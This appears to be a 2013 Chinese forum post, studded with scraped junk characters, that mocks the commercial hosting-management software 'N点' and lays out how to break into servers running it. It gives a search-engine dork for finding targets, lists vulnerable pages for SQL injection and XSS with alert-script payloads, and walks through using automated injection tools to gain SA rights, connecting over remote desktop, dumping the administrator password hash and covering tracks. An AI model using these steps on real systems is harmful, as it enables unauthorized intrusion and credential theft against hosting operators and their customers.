不得不说N点实在是一个破东西/ P/ F y* {# Z' ~% c
就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂
" V+ O& t }/ J好吧 抱怨一下就行了 接下来关键的时候到了
- G- L0 p5 v( T/ O首先百度搜索关键字：inurl: (mmdatabase.asp)" s6 b% Z8 z! x2 U1 h' x
我随便列举一个： www.xxxx.com/ Z) @0 s! L4 u& g8 X
修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=13 e) _$ ~, n/ `( S* }3 X" J
扔入NBSI 或者啊D等各种傻逼工具后, J; A: P* _: G0 A6 u6 z
你们会看到是SA权限# L0 D) t- a# z1 w0 \7 b( S6 v& P ?
果断3389 上去 hash得到administrator密码/ V u' H9 t3 a E4 E n
擦屁股走人~1 ^; c. B' Z, m& S8 `3 @$ A( q! ]
经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的
9 O! z* Q6 ?- `. i. K7 V " E- s3 s5 T; ` u1 v. m7 D4 L
再附上其他几个漏洞页面
& s* F( E% o( VSQL：
3 {, e& B$ `: c/ l& a r7 Dhttp://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=1
% c/ X/ j- ?# W* P: A+ Z% N4 Jhttp://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11/ A2 _" u% V/ Z0 b) [- T C
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9+ ]/ R# F$ N; [ l6 b3 u
http://www.xxxxxx.com:80/Style/vhosting.asp?classID=29 i% z/ W$ n$ \% R1 I
XSS证明：( t8 i3 n5 i q0 I* [; V& q* y
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
: m/ c! H" S3 Y/ Dhttp://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”$ L* _- g1 |! L' w1 r' w0 j
http://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>7 Z0 n Q' u8 g' c) f0 Y
由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜
/ i: r O% \, V4 q4 c还是星外吧 你们懂的7 q; s/ I3 T: w! N6 ~9 o+ x8 X2 V, m
作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
! Q0 l& ^1 Z: @0 IPS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉5 z7 {0 C: T8 r( r
——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对